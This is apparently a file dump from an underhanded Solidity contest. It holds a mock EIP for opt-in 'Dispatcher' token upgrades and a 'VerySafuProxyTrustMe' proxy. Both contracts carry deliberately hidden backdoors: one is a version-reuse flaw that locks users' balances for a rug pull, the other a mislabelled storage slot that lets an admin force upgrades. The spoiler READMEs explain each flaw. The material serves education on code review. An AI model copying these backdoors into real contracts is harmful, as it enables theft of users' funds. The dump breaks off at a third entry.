    "content": "# EIP-42000: Dispatcher-based upgradability\n\nWe are pleased to introduce the revolutionary new Dispatcher-Based Upgradeability, designed to enable: \n\n1. Opt-in upgrades: allowing users to remain on an older version of the application if they wish.\n2. Ease of use: users may continue to interact with the same address, regardless of which version they are on.\n\n## Motivations\n\nUsers should be able to treat the logic of a smart _contract_ as if it were an actual contract, ie. an agreement which they have entered into, and which they can trust will be upheld by the reliable execution of the Ethereum Virtual Machine. \n\n### Storage slots as property!\n\nIf the current logic of an application restricts write access of a given slot to a given user, such a user should be able to trust that these conditions will be upheld! Furthermore they should be given the opportunity to review and agree to (or reject!) any proposals to modify this logic.\n\n### `onlyOwner` should mean you!\n\nFor too long smart contract developers have kept the keys to upgrades to themselves.  Even if you trust them to act honestly, what do you know about their ability to store those keys securely?\n\nMany would suggest that governance by token voters is the solution... perhaps for Whales, but what about the rest of the world? Should they not have the freedom to accept or reject the logic by which they choose to transact?\n\n## Architecture\n\n### The Dispatcher\n\nOur solution introduces a `Dispatcher` contract, which holds a mapping of all existing version numbers to that version's implementation address.\n\nThe `Dispatcher` has a transparent interface. Its only external function is its `fallback` which, under normal circumstances, simply forwards the call to the user's current `userApprovedImpl`.\n\nIf the `Dispatcher` detects that the user has opted in to the latest proposed version, it will perform a migration from old to new prior to calling the new implementation.\n\n### Dispatch Callers\n\nBecause the `Dispatcher` has no named external functions, we need another way to modify its internal state. This is achieved by defining two \"Dispatch Caller\" contracts:\n1. The `Version` contract allows the owner to propose an implementation address for the next version.\n2. The `OptIn` contract allows users to opt in to an upgrade. Because downgrades are not supported, users can only opt-in to a newer version than the one they are currently on.\n\nThe `Dispatcher` identifies calls from these contracts and handles them appropriately.\n\n### The Implementation\n\nAs with a typical non-upgradable contract, implementation contracts contain both the logic and the state. The only difference is that all state changing functions are protected by `require(msg.sender==dispatcher)`. As a consequence of dispatcher-based upgradeability, the implementation cannot use `msg.sender` to represent the caller. Instead, it relies on the`Dispatcher` to append the address of the sender to the `calldata`.\n\nA valid implementation contract MUST contain the following migration functions, both of which MUST be callable only by the `Disapatcher` in order to facilitate state migration:\n- `migrateAndLock(address user)`: is called on the implementation which is being upgraded away from. It MUST return the user's state, and MUST lock the user to prevent the user from receiving state (ie. a token balance). This ensures that users remaining on previous versions do not send tokens to users that have upgraded to newer versions, as those tokens will be burned.\n- `migrateTo(bytes data)`: is called on the implementation which is being upgraded towards. It MUST populate the user's state with the data received.\n\n## Scenario\n\nAn anonymous developer releases an ERC20 token associated with an exciting new project that mashes up the latest in Delicious DeFi mechanism design (let's call it `PIZZA`) and allocated the full supply of 10,000,000 to themselves. They then deposit a bunch of their tokens in Uniswap, after which people and bots proceed to buy them indiscriminately. This results in a pretty crap token distribution: the developer still has 9,000,000 tokens. This lopsided distribution makes it really difficult to grow a community!\n\nFortunately, the ERC20 token was implemented to comply with EIP-42000: The Dispatcher Standard™️, providing for an opt-in upgrade to a new version. The developer proposes an upgrade to a new version of the `PIZZA` token (`PIZZA2`) which decreases their own balance (as well as the total supply) by 8,000,000.\n\nThis gives token holders a choice: they can hold onto the current token, or they can choose to upgrade to `PIZZA2`. `PIZZA2` has a fairer distribution, but it's important to note that upgrades are one-way. Once an address has upgraded, their balance and actions are locked on the previous version, and downgrades are not supported.\n\n## Spoiler\n\nUnfortunately, the `Dispatcher` was designed with a fatal flaw. The result is that the anonymous dev can leave the user unable to access their token balance, unless they consent to yet another upgrade.\n\nOnce users opt in to the latest implementation, `PIZZA`'s anon dev is able to take advantage of their approval to silently upgrade them to a \"locked\" version of the same token.\n\nThe problem in `Dispatcher` lies in part with the logic governing versioning. Specifically, nothing prevents the owner from proposing a new version with the same implementation address as that of a previous version:\n\n```javascript\n\n// Map versionID -> implementation address\nmapping (uint => address) versionImpls;\n\n// SPOILER EXAMPLE: _nextImpl == versionImpls[latestVersionID]\nfunction version(address _msgSender, address _nextImpl) internal {\n    require(_msgSender == owner, \"Must be owner to propose upgrade\");\n\n    // Increment latestVersionID and create new version\n    latestVersionID++;\n    versionImpls[latestVersionID] = _nextImpl;\n}\n```\n\nThe other part of the puzzle is the fallback's upgrade logic:\n\n```javascript\nif (userApprovedImpls[msg.sender] == latestImpl() && userVersion[msg.sender] < latestVersionID) {\n    upgrade();\n}\n```\n\nThis is intended to detect:\n1. That the user has approved the lastest implementation, \"opting in\" to an upgrade\n2. That the user is not on the latest version already\n\nHowever, if both the latest version and its prior version share an implementation address, the user has tacitly agreed to an upgrade twice. From the token contract's perspective, the user is being upgraded to a new version - so their balance and actions are locked:\n\n```javascript\nfunction migrateAndLock(address _user) external returns (bytes memory) {\n    require(msg.sender == dispatcher);\n\n    // Remove balance to migrate, and reduce totalSupply\n    uint balance = balanceOf[_user];\n    totalSupply -= balance;\n    delete balanceOf[_user];\n    // Lock user actions on this version\n    isLocked[_user] = true;\n\n    // Tell the next version how many tokens _user is migrating\n    return abi.encode(_user, balance);\n}\n```\n\nEven if users notice something is wrong, it is already too late. Once a user approves an implementation address, this address stays in their `userApprovedImpls` until a newer version comes along and they approve that one instead. Downgrades are not supported, and the user can only approve an implementation address that belongs to a newer version than the one they're currently on.\n\nIn practice, this means our anon dev can take their time with this rug pull. By releasing a sound-looking, fully-audited `PIZZA2` with a better token distribution, the anon dev entices users to upgrade to the new contract. Once a sufficient number of users have approved the new version and migrated their state, the dev can trigger the flaw by proposing a newer version with the same implementation address.\n\nIn the end, users remain stranded in ERC20V2: unable to `transfer` or `transferFrom` as the contract believes they have upgraded to a newer version. There is only one way out: opt in to whatever upgrade the anon dev proposes next."
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v1.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\ncontract ERC20V1 {\n    \n    uint public totalSupply;\n    mapping (address => uint256) public balanceOf;\n    mapping (address => mapping(address => uint256)) public allowance;\n\n    string public constant name = \"Pizza Token (DeFi Supreme)\";\n    string public constant symbol = \"PIZZA\";\n    uint8 public constant decimals = 18;\n\n    // Dev address\n    address public immutable developer;\n\n    // Only the Dispatcher can call state-changing functions\n    address immutable dispatcher;\n\n    // If a user has upgraded to the next version, transfers to this address are blocked\n    mapping (address => bool) isLocked;\n\n    constructor (address _dev) {\n        dispatcher = msg.sender;\n        developer = _dev;\n        \n        // Give dev init supply. 10 MIL PIZZA\n        uint initialSupply = 10000000 * (10 ** decimals);\n        totalSupply = initialSupply;\n        balanceOf[_dev] = initialSupply;\n    }\n\n    /**\n     * Upgrade a user from the last version to this version\n     * Since this is V1, this function just reverts\n     */\n    function migrateTo(bytes memory) external pure {\n        revert();\n    }\n\n    /**\n     * Migrate a user from this version to the specified next version\n     * Locks the user's balance on this version, and reduces totalSupply by the same amount\n     */\n    function migrateAndLock(address _user) external returns (bytes memory) {\n        require(msg.sender == dispatcher);\n\n        // Remove balance to migrate, and reduce totalSupply\n        uint balance = balanceOf[_user];\n        totalSupply -= balance;\n        delete balanceOf[_user];\n        // Lock user actions on this version\n        isLocked[_user] = true;\n\n        // Tell the next version how many tokens _user is migrating\n        return abi.encode(_user, balance);\n    }\n\n    /**\n     * transfer behaves normally, except that _to must not have upgraded\n     * The original msg.sender (who's sending the tokens) should be\n     * appended to the end of calldata by the Dispatcher contract\n     */\n    function transfer(address _to, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n        // Restrict transfers to users that are on the next version\n        require(!isLocked[_to]);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Check amounts\n        require(balanceOf[originalSender] >= _amount);\n        require(balanceOf[_to] + _amount >= balanceOf[_to]);\n\n        // Perform transfer\n        balanceOf[originalSender] -= _amount;\n        balanceOf[_to] += _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * transferFrom behaves normally, except that _to must not have upgraded\n     * The original msg.sender (to whom _from has approved tokens) should be\n     * appended to the end of calldata by the Dispatcher contract\n     */\n    function transferFrom(address _from, address _to, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n        // Restrict transfers to users that are on the next version\n        require(!isLocked[_to]);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Check amounts\n        require(balanceOf[_from] >= _amount);\n        require(balanceOf[_to] + _amount >= balanceOf[_to]);\n        require(allowance[_from][originalSender] >= _amount);\n\n        // Perform transfer and decrease originalSender's allowance\n        balanceOf[_from] -= _amount;\n        balanceOf[_to] += _amount;\n        allowance[_from][originalSender] -= _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * Approve an _amount of tokens to a _spender. We don't care what version\n     * the _spender is on.\n     * The original msg.sender approving tokens should be appended to the end\n     * of calldata by the Dispatcher contract\n     */\n    function approve(address _spender, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Approve _spender by _amount\n        allowance[originalSender][_spender] = _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * We expect the dispatcher to pack the original sender address at the end of calldata\n     */\n    function getSenderFromCalldata() internal pure returns (address sender) {\n        assembly {\n            calldatacopy(12, sub(calldatasize(), 20), 20)\n            sender := mload(0)\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/erc20/erc20v2.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\nimport \"./erc20v1.sol\";\n\ncontract ERC20V2 {\n    \n    uint public totalSupply;\n    mapping (address => uint256) public balanceOf;\n    mapping (address => mapping(address => uint256)) public allowance;\n\n    string public constant name = \"Pizza Token (DeFi Supreme, V2)\";\n    string public constant symbol = \"PIZZA2\";\n    uint8 public constant decimals = 18;\n\n    // Dev address\n    address public immutable developer;\n\n    // Only the Dispatcher can call state-changing functions\n    address immutable dispatcher;\n\n    // If a user has upgraded to the next version, transfers to this address are blocked\n    mapping (address => bool) isLocked;\n\n    constructor (address _dispatcher, ERC20V1 _v1) {\n        dispatcher = _dispatcher;\n\n        // Get dev address from previous version\n        developer = _v1.developer();\n\n        // Don't need to set total supply -> we'll get that gradually as\n        // users upgrade from v1\n    }\n\n    /**\n     * Upgrade a user from the last version to this version\n     * @param _data contains the user's address and balance\n     */\n    function migrateTo(bytes memory _data) external {\n        require(msg.sender == dispatcher);\n\n        (address user, uint balance) = abi.decode(_data, (address, uint));\n\n        // If user is developer address, decrease balance by 8 MIL PIZZA\n        // If they don't have 8 MIL PIZZA, just set it to zero\n        if (user == developer) {\n            uint EIGHT_MIL = 8000000 * (10 ** decimals);\n            if (balance >= EIGHT_MIL) {\n                balance -= EIGHT_MIL;\n            } else {\n                balance = 0;\n            }\n        }\n\n        // Increase user's balance and totalSupply by same amount\n        balanceOf[user] += balance;\n        totalSupply += balance;\n    }\n\n    /**\n     * Migrate a user from this version to the next version\n     * Locks the user's balance on this version, and reduces totalSupply by the same amount\n     */\n    function migrateAndLock(address _user) external returns (bytes memory) {\n        require(msg.sender == dispatcher);\n\n        // Remove balance to migrate, and reduce totalSupply\n        uint balance = balanceOf[_user];\n        totalSupply -= balance;\n        delete balanceOf[_user];\n        // Lock user actions on this version\n        isLocked[_user] = true;\n\n        // Tell the next version how many tokens _user is migrating\n        return abi.encode(_user, balance);\n    }\n\n    /**\n     * transfer behaves normally, except that _to must not have upgraded\n     * The original msg.sender (who's sending the tokens) should be\n     * appended to the end of calldata by the Dispatcher contract\n     */\n    function transfer(address _to, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n        // Restrict transfers to users that are on the next version\n        require(!isLocked[_to]);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Check amounts\n        require(balanceOf[originalSender] >= _amount);\n        require(balanceOf[_to] + _amount >= balanceOf[_to]);\n\n        // Perform transfer\n        balanceOf[originalSender] -= _amount;\n        balanceOf[_to] += _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * transferFrom behaves normally, except that _to must not have upgraded\n     * The original msg.sender (to whom _from has approved tokens) should be\n     * appended to the end of calldata by the Dispatcher contract\n     */\n    function transferFrom(address _from, address _to, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n        // Restrict transfers to users that are on the next version\n        require(!isLocked[_to]);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Check amounts\n        require(balanceOf[_from] >= _amount);\n        require(balanceOf[_to] + _amount >= balanceOf[_to]);\n        require(allowance[_from][originalSender] >= _amount);\n\n        // Perform transfer and decrease originalSender's allowance\n        balanceOf[_from] -= _amount;\n        balanceOf[_to] += _amount;\n        allowance[_from][originalSender] -= _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * Approve an _amount of tokens to a _spender. We don't care what version\n     * the _spender is on.\n     * The original msg.sender approving tokens should be appended to the end\n     * of calldata by the Dispatcher contract\n     */\n    function approve(address _spender, uint _amount) external returns (bool) {\n        require(msg.sender == dispatcher);\n\n        // Get original sender passed-in by dispatcher\n        address originalSender = getSenderFromCalldata();\n\n        // Approve _spender by _amount\n        allowance[originalSender][_spender] = _amount;\n\n        // Return artifact of outdated ERC20 standard\n        return true;\n    }\n\n    /**\n     * We expect the dispatcher to pack the original sender address at the end of calldata\n     */\n    function getSenderFromCalldata() internal pure returns (address sender) {\n        assembly {\n            calldatacopy(12, sub(calldatasize(), 20), 20)\n            sender := mload(0)\n        }\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/interfaces/OptInContract.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\n/**\n * Allows users to explicitly opt in and out of upgrades in the Dispatcher\n */\ncontract OptInContract {\n\n    address public immutable dispatcher;\n\n    constructor () {\n        dispatcher = msg.sender;\n    }\n\n    /**\n     * Approve a newer version on behalf of the user\n     */\n    function optIn(uint _approvedVersion) public {\n        bytes memory data = abi.encode(msg.sender, _approvedVersion);\n\n        // Call dispatcher\n        (bool success, bytes memory res) = dispatcher.call(data);\n\n        res; // ignore\n        require(success);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission3_AlexanderWade/interfaces/VersionContract.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.0;\n\n/**\n * Allows the owner of an app's version to publish a new version implementation\n */\ncontract VersionContract {\n\n    address public immutable dispatcher;\n\n    constructor () {\n        dispatcher = msg.sender;\n    }\n\n    /**\n     * Allows the owner of the latest version to propose a new version for the app\n     * @param _nextImpl The new version's implementation address\n     * @param _nextOwner The address that can propose this version's next version\n     */\n    function createNewVersion(address _nextImpl, address _nextOwner) public {\n        bytes memory data = abi.encode(msg.sender, _nextImpl, _nextOwner);\n\n        // Call dispatcher\n        (bool success, bytes memory res) = dispatcher.call(data);\n        \n        res; // ignore\n        require(success);\n    }\n}"
  },
  {
    "path": "2020/submissions_2020/submission4_JaimeIglesias/ERC20.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\nimport \"../libraries/SafeMath.sol\";\n\ncontract ERC20 {\n    using SafeMath for uint256;\n\n    bool private initialized;\n\n    bool private initializing;\n\n    mapping (address => uint256) private _balances;\n\n    mapping (address => mapping (address => uint256)) private _allowances;\n\n    uint256 private _totalSupply;\n\n    string private _name;\n    string private _symbol;\n    uint8 private _decimals;\n\n  modifier initializer() {\n    require(initializing || isConstructor() || !initialized, \"Contract instance has already been initialized\");\n\n    bool isTopLevelCall = !initializing;\n    if (isTopLevelCall) {\n      initializing = true;\n      initialized = true;\n    }\n\n    _;\n\n    if (isTopLevelCall) {\n      initializing = false;\n    }\n  }\n\n  function isConstructor() private view returns (bool) {\n    // extcodesize checks the size of the code stored in an address, and\n    // address returns the current address. Since the code is still not\n    // deployed when running a constructor, any checks on its code size will\n    // yield zero, making it an effective way to detect if a contract is\n    // under construction or not.\n    address self = address(this);\n    uint256 cs;\n    assembly { cs := extcodesize(self) }\n    return cs == 0;\n  }\n\n    function initialize(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) initializer public {\n        _name = name;\n        _symbol = symbol;\n        _decimals = decimals;\n        _mint(msg.sender, totalSupply);\n    }\n\n    function totalSupply() public view returns (uint256) {\n        return _totalSupply;\n    }\n\n    function balanceOf(address account) public view returns (uint256) {\n        return _balances[account];\n    }\n\n    function name() public view returns (string memory) {\n        return _name;\n    }\n\n    function symbol() public view returns (string memory) {\n        return _symbol;\n    }\n\n    function decimals() public view returns (uint8) {\n        return _decimals;\n    }\n\n    function transfer(address recipient, uint256 amount) public returns (bool) {\n        _transfer(msg.sender, recipient, amount);\n        return true;\n    }\n\n    function allowance(address owner, address spender) public view returns (uint256) {\n        return _allowances[owner][spender];\n    }\n\n    function approve(address spender, uint256 amount) public returns (bool) {\n        _approve(msg.sender, spender, amount);\n        return true;\n    }\n\n    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {\n        _transfer(sender, recipient, amount);\n        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));\n        return true;\n    }\n\n    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {\n        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));\n        return true;\n    }\n    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {\n        _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));\n        return true;\n    }\n    function _transfer(address sender, address recipient, uint256 amount) internal {\n        require(sender != address(0), \"ERC20: transfer from the zero address\");\n        require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n        _balances[sender] = _balances[sender].sub(amount);\n        _balances[recipient] = _balances[recipient].add(amount);\n        emit Transfer(sender, recipient, amount);\n    }\n\n    function _mint(address account, uint256 amount) internal {\n        require(account != address(0), \"ERC20: mint to the zero address\");\n\n        _totalSupply = _totalSupply.add(amount);\n        _balances[account] = _balances[account].add(amount);\n        emit Transfer(address(0), account, amount);\n    }\n\n    function _burn(address account, uint256 amount) internal {\n        require(account != address(0), \"ERC20: burn from the zero address\");\n\n        _balances[account] = _balances[account].sub(amount);\n        _totalSupply = _totalSupply.sub(amount);\n        emit Transfer(account, address(0), amount);\n    }\n\n    function _approve(address owner, address spender, uint256 amount) internal {\n        require(owner != address(0), \"ERC20: approve from the zero address\");\n        require(spender != address(0), \"ERC20: approve to the zero address\");\n\n        _allowances[owner][spender] = amount;\n        emit Approval(owner, spender, amount);\n    }\n\n    function _burnFrom(address account, uint256 amount) internal {\n        _burn(account, amount);\n        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));\n    }\n\n    event Transfer(address indexed from, address indexed to, uint256 value);\n    event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission4_JaimeIglesias/README.md",
    "content": "## Very Safu Proxy\n\nJust a proxy that uses unstructured storage to store the following values:\n\n  - implementation (the address of the logic contract)\n  - admin (the address that has the ability to upgrade the proxy, but only if the owner allows it)\n  - owner (the address that has the ability to opt-in or out of upgrades)\n  - optIn (boolean representing the willingnes of the owner to having their proxy upgraded)\n  \nIt allows the `owner` of the proxy to opt-in/out of upgrades.\nIt allows the `admin` to upgrade the proxy if the `owner` is willing to.\n\n## Spoilers\n\nIt's worth saying that my original intention was to make it a fully transparent proxy, not that it would have changed the exploit,\nI think it would have added to the story.\n\nThere is really no novelty to the exploit, it's a classic storage clash that \ncapitalizes on the use of unstructured storage to store the proxy state.\n\nTo be specific, the storage slot where `_optIn` lives actually clashes with the `balances` mapping on an ERC20 (which I did not include)\nfor the address `0x47Adc0faA4f6Eb42b499187317949eD99E77EE85`, this allows `admin` to change `_optIn` to `true`\nby simply sending some tokens to that account thus allowing the `admin` to upgrade the contract against the will\nof the `owner` - we can easily calculate the storage slot for the balance mapping with: `keccack256(abi.encodePacked(uint256(address), uint256(slot))`\nwhere `address` is the key for the balance mapping and `slot` is the slot in which the mapping sits on storage.\n\nSo, if there is no novelty and no excitement why submit this?\n\nWell, to be honest I wanted to showcase how we sometimes blindly trust code that looks honest.\nThe proxy is filled with comments, it even gives formulas referencing eip1967 - sorry Santiago! - to how the storage slots are computed,\nalthough out of the four only two of them are actually part of eip1967 and only 3 of them are actually true - whoops!\nThis means that if you are a bit lazy and you go \"Oh, these 3 slots are valid so the 4th must also be valid...\" or if you go like\n\"oh yeah EIPXXX, that must be correct\" then you are basically screwed...\n\nBut lets not lose focus, what I want people to take out of this code is:\n\n0. Do not use code that you do not understand - simply put, if you are not sure about how `delegatecall` works, do NOT use it - ask people, read articles and docs!\n1. Never trust unstructured storage that does not give the formulas to how the slots are calculated!\n2. Even if the formulas are given, do not trust that the coded values are the right ones!\n3. Just because the comment above some random values says \"EIP\" do NOT trust it - specially if its not a finalized proposal.\n3. Do not be lazy, verify everything !\n\n\n## A little bit of context on the exploit\n\nAs we all know, when a contract (A) `delegatecalls` into another contract (B), the code in B gets \nexecuted in A's context. This means, amongst various things, that the storage being modified is A's.\n\nSimply put, if we have two contracts:\n\n```\n  contract A {\n    uint a;\n    uint b;\n\n    function delegateToB() {\n      ...\n    }\n  }\n\n  contract B {\n    uint b;\n    uint a;\n\n    function foo() {\n      b = b + 1;\n      a = a + 2;\n    }\n  }\n```\n\nWhen A `delegatecalls` into B to execute `foo()` then `b` is going to be increased by one and\n`a` is also going to be increased by two...but...that is not the whole truth - where WE (silly humans) see `a` and `b`\nsolidity (as the compiled language that it is) sees storage slots, to be specific from the perspective of contract A,\n`a` lives at storage slot zero and `b` lives at storage slot one BUT from the perspective of contract B `a` lives at storage slot\none and `b` lives at storage slot zero which means that whenever A `delegatecalls` into B we are going to increase A's `a` by one and A's\n`b` by two, which is the opposite that we are trying to achieve - oh no!\n\nBut lets not worry, as long as wee keep the same storage structure we are safe !\n\nBut to be honest having to worry about having the same storage layout in your proxy as the proxied contract is kinda annoying! So, how do we get around it?\nEnter - Unstructured storage. Simply put it consists in choosing storage slots, by capitalizing on how solidity maps state variables to storage, to guarantee that the selected slots will not\nclash with the proxied contract - if you do it correctly that is hehehe.\n\nBy applyimg the unstructured storage technique we can store proxy-related state without worrying about the layout of the proxied contract.\n\n## References\n\n[Unstructured Storage](https://blog.openzeppelin.com/upgradeability-using-unstructured-storage/)\n[State of Smart Contract Upgrades](https://blog.openzeppelin.com/the-state-of-smart-contract-upgrades/)\n"
  },
  {
    "path": "2020/submissions_2020/submission4_JaimeIglesias/VerySafuProxyTrustMe.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.7.0;\n\ncontract VerySafuProxyTrustMe {\n    \n    // storage slot where the address of the logic contract will be stored.\n    // This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1,\n    bytes32 private constant _IMPLEMENTATION_SL0T = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n    \n    // storage slot where the address of the admin will be stored.\n    // This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1\n    bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n    \n    // storage slot where the address of the owner will be stored.\n    // This is the keccak-256 hash of \"eip1967.proxy.owner\" subtracted by 1\n    bytes32 private constant _OWNER_SLOT = 0xa7b53796fd2d99cb1f5ae019b54f9e024446c3d12b483f733ccc62ed04eb126a;\n    \n    // storage slot where the upgrade-optIn boolean will be stored.\n    // This is the keccak-256 hash of \"eip1967.proxy.optIn\" subtracted by 1\n    bytes32 private constant _OPTIN_SLOT = 0x7b191067458f5b5c0c36f2be8ceaf27679e7ea94b6964093ce9e5c7db2aff82a;\n    \n    /*\n    * @param logicContract the address of the new implementation contract.\n    * @param owner the address of the proxy owner.\n    */\n    constructor(address logicContract, address owner) {\n        _setImplementation(logicContract);\n        _setOwner(owner);\n        _setAdmin(msg.sender);\n    }\n    \n    /*\n    * Delegates calls to the logic contract, will run if no payable function payable function matches the calldata\n    */\n    fallback () payable external {\n        _fallback();\n    }\n\n    /*\n    * Delegates calls to the logic contract, will run if calldata is empty\n    */\n    receive () payable external {\n        _fallback();\n    }\n    \n    modifier onlyAdmin() {\n        require(msg.sender == _admin(), \"Only admin can call this function\");\n        _;\n    }\n    \n    modifier onlyOwner() {\n        require(msg.sender == _owner(), \"Only owner can call this function\");\n        _;\n    }\n    \n    /*\n    * External function that updates the implementation contract address.\n    * Two conditions have to be met for this function to be executed:\n    *   - caller must be the proxy admin\n    *   - proxy owner setted `_optIn` to true.\n    * If both conditions are satisfied, the stored logic contract address is updated.\n    * @param newImplementation the address of the new implementation contract.\n    */\n    function upgrade(address newImplementation) external onlyAdmin {\n        require(_optIn(), \"Owner does not want the contract to be upgraded\");\n        _setImplementation(newImplementation);\n    }\n    \n    /*\n    * External function that allows the owner to opt-in for upgrades.\n    * only the owner can call this function.\n    */\n    function optInOfUpgrade() external onlyOwner {\n       _setOptIn(true);\n    }\n\n    /*\n    * External function that allows the owner to opt-out of upgrades.\n    * only the owner can call this function.\n    */  \n    function optOutOfUpgrade() external onlyOwner {\n        _setOptIn(false);\n    }\n\n    /*\n    * External view function that returns the address of the implementation contract.\n    */\n    function implementation() external view returns (address) {\n        return _implementation();\n    }\n    \n    /*\n    * External view function that returns the address of the proxy owner.\n    */\n    function owner() external view returns (address) {\n        return _owner();\n    }\n\n    /*\n    * External view function that returns the address of the proxy admin.\n    */\n    function admin() external view returns (address) {\n        return _admin();\n    }\n    \n    /*\n    * External view function that returns:\n    *   - `true` if the owner is willing to accept upgrades.\n    *   - `false` if the owner is not willing to accept upgrades.\n    */  \n    function didOptIn() external view returns (bool) {\n        return _optIn();\n    }\n    \n    /*\n    * Delegates calls to the implementation contract.\n    */\n    function _fallback() internal {\n        _beforeFallback();\n        _delegate(_implementation());\n    }\n    \n    /*\n    * Hook that is executed before falling back to the implementation contract.\n    * Prevents the admin from calling the fallback function.\n    */\n    function _beforeFallback() internal {\n         require(msg.sender != _admin(), \"admin cannot call the fallback function\");\n    }\n    \n    /*\n    * Delegates the current call to the implementation contract address and handles the response.\n    */\n    function _delegate(address logicContract) internal {\n        assembly {\n            // Copy msg.data. We take full control of memory in this inline assembly\n            // block because it will not return to Solidity code. We overwrite the\n            // Solidity scratch pad at memory position 0.\n            calldatacopy(0, 0, calldatasize())\n\n            // Call the implementation.\n            // out and outsize are 0 because we don't know the size yet.\n            let result := delegatecall(gas(), logicContract, 0, calldatasize(), 0, 0)\n\n            // Copy the returned data.\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            // delegatecall returns 0 on error.\n            case 0 { revert(0, returndatasize()) }\n            default { return(0, returndatasize()) }\n        }\n    }\n    \n    /*\n    * Internal function that stores the new proxy owner address to the corresponding storage slot.\n    */\n    function _setOwner(address newOwner) internal {\n        bytes32 slot = _OWNER_SLOT;\n        \n        assembly {\n            sstore(slot, newOwner)\n        }  \n    }\n    \n    /*\n    * Internal function that stores the new implementation contract address to the corresponding storage slot.\n    */\n    function _setImplementation(address newImplementation) internal {\n        bytes32 slot = _IMPLEMENTATION_SL0T;\n        \n        assembly {\n            sstore(slot, newImplementation)\n        }  \n    }\n    \n        \n    /*\n    * Internal function that stores the new proxy admin address to the corresponding storage slot.\n    */\n    function _setAdmin(address newAdmin) internal {\n        bytes32 slot = _ADMIN_SLOT;\n        \n        assembly {\n            sstore(slot, newAdmin)\n        }  \n    }\n    \n    /*\n    * Internal function that stores the new value for the optIn boolean.\n    */\n    function _setOptIn(bool newValue) internal {\n        bytes32 slot = _OPTIN_SLOT;\n        \n        assembly {\n            sstore(slot, newValue)\n        }\n    }\n    \n    /*\n    * Internal view function that Loads the address of the admin from the corresponding storage slot\n    */\n    function _admin() internal view returns (address adm) {\n        bytes32 slot = _ADMIN_SLOT;\n        \n        assembly {\n            adm := sload(slot)\n        }\n            \n    }\n    \n    /*\n    * Internal view function that Loads the address of the implementation contract from the corresponding storage slot\n    */\n    function _implementation() internal view returns (address impl) {\n        bytes32 slot = _IMPLEMENTATION_SL0T;\n        \n        assembly {\n            impl := sload(slot)\n        }\n            \n    }\n    \n    /*\n    * Internal view function that Loads the address of the proxy owner from the corresponding storage slot\n    */\n    function _owner() internal view returns (address own) {\n        bytes32 slot = _OWNER_SLOT;\n        \n        assembly {\n            own := sload(slot)\n        }\n            \n    }\n    \n    /*\n    * Internal view function that Loads the optIn boolean from the corresponding storage slot\n    */\n    function _optIn() internal view returns (bool opt) {\n        bytes32 slot = _OPTIN_SLOT;\n        \n        assembly {\n            opt := sload(slot)\n        }\n            \n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission5_WilliamEntriken/README-WITH-SPOILERS.md",
